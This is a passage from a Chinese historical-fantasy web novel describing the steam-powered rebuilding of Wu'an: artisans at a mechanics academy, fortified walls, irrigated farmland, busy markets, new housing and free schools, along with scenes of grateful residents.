还有的在尝试改进织布机,丝线在新机关的牵引下,飞快地在布面上穿梭,比传统织机快了足足十几倍。
工匠们的额头渗着汗,脸上却满是兴奋,眼睛在放着光。
他们中不少人曾因技艺受限,空有想法却无法实现,如今在墨官的指点下,不仅学会了更精妙的锻造、木工技艺,还接触到了“蒸汽”“齿轮”等新奇事物。
“以前觉得自己手艺还算不错,来了墨阁才知道,这机关术里的学问,精深至极,至于那蒸汽机,更是夺天地造化之物,有了此物,便有太多东西可以实现……”
“我等一介匠人,何其有幸,竟能入墨阁官学,未来甚至有可能进入墨阁,随武威君做事,改变这个时代,改变这个国家,将这蒸汽机,普及到天下每一个角落……”
光是想一想这种未来,所有的匠人便牟足了力气使劲。
一边飞快的吸收所有知识,一边将知识实践到建设之中。
慕名而来的匠人越来越多,随着他们学习和事件,武安城的扩建与开荒工程也渐渐接近尾声。
昔日的小城,早已换了模样。
新筑的城墙由三尺见方的青石砌成,缝隙间灌了铁水,牢牢咬合在一起,站在城下仰望,只觉巍峨高耸,如同一座不可逾越的屏障。
墙头上每隔十步便有一座箭楼,箭楼里架着蒸汽**机,铜制的**泛着冷光,箭槽里整齐排列着铁羽箭。
更令敌人胆寒的是城墙两侧的蒸汽炮台,炮台底部铺着铁轨,兵士们只需推着把手,炮台便能沿着铁轨灵活转向,无论是正面来敌,还是侧面突袭,都能瞬间瞄准射击。
城墙之外,昔日的荒地早已变了模样。
穿渠机轰鸣着在田野间穿梭,铁犁破开坚硬的土层,一条条水渠蜿蜒如银带,将河水引入田中。
挖泥船在河边作业,巨大的铁铲将河底的淤泥挖起,堆在田埂上,既肥了土壤,又平整了土地。
如今放眼望去,皆是一望无际的良田,有的田里种着小麦,青苗绿油油的,随风起伏。
有的田里蓄着水,倒映着蓝天白云,几只白鹭落在田埂上,悠闲地啄着虫子。
老秦人们牵着牛,扛着新制的铁犁,在田埂间穿梭,有的弯腰播种,有的引水灌田,孩童们则在田边追逐嬉戏,欢声笑语随着风飘得很远。
武安城内部的建设,更是处处透着生机。
“秦地佳酿,祖传酿造技艺,入口柔,一线喉……”
城中心开辟出大片市场区,商铺鳞次栉比,酒肆的幌子上写着“秦地佳酿”,随风飘动。
“墨阁工坊新布,看看这成色,做出衣服来不知道有多好看咯……”
布庄的染布挂在门外,红的、蓝的、绿的,五颜六色,引得路过的妇人驻足挑选。
“米面粮油,都是上乘好货……”
摊贩们吆喝着叫卖,有卖米面粮油的,箩筐里的小米黄澄澄的。
“墨阁机关小玩具,小型铁龙马,能自己跑的……”
还有卖墨阁新制的机关玩具的,小小的木车不用人推便能自己跑,围满了好奇的孩童,欢呼声不绝于耳。
市场区旁,是一排排新建起来的整齐砖木排房。
屋顶覆着青瓦,墙面粉刷得雪白,每户都有一个不大不小的院落,院里种着青菜、桃树,
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有的人家还养了鸡鸭,清晨时分,鸡叫声、鸭叫声与人们的说话声交织,满是烟火气。
不少人家的院门口挂着晾晒的衣物,有孩童的布衫,有妇人的裙装,还有汉子的短打,随风轻轻晃动,透着安稳的暖意。
城内还建了好几所官塾,无论是老秦人的孩子,还是本地百姓的子弟,都能免费入学。
每日清晨,学堂里便传出朗朗书声。
先生站在讲台上,手持戒尺,耐心地为学子们讲解字句含义。
窗外,几个还没到入学年龄的孩子扒着窗台,小脑袋凑在一起,眼神里满是向往,时不时跟着小声念几句,惹得先生忍不住笑出声。
行走在武安城的街道上,随处可见百姓们脸上的笑意。
张老汉是最早迁来的老秦人,如今每天清晨溜达出来,在街边的老槐树下和邻居聊天,手里还攥着刚买的油饼,笑着说,“这辈子都没住过这么好的房子,没种过这么肥的地!
明年小麦收了,咱也给娃买件新布衫,让他在官学里也体面体面!”
李嫂子是血衣军的遗属,如今在城里的纺织工坊做工。
她坐在新造的织布机前,手指灵活地穿梭在丝线间,织布机“咔嗒咔嗒”地响着,比家里的旧织机快了两倍。
她擦了擦额头的汗,看着织好的布,眼里满是笑意:“多亏武威君体恤,知道我们孤儿寡母种田不易,给了织坊的活计。”
“每月能多挣五串钱,够给娃交学费,还能剩下许多买米买面买布。
他爹要是还在,看到咱娘俩过得这么好,肯定也高兴。”
夕阳西下,红霞漫天。
武安城的街道上依旧热闹。
汉子们从田里回来,扛着锄头,哼着歌谣。
妇人们提着菜篮,从市场里出来,篮子里装着新鲜的蔬菜和肉。
孩童们在街边追逐打闹,手里拿着刚买的糖人。
城墙之上,新入军的新兵在老兵指引下调试蒸汽连**,学习蒸汽炮台的使用。
官学里,最后一缕霞光透过窗户,落在学子们的课桌上,留下温暖的光斑……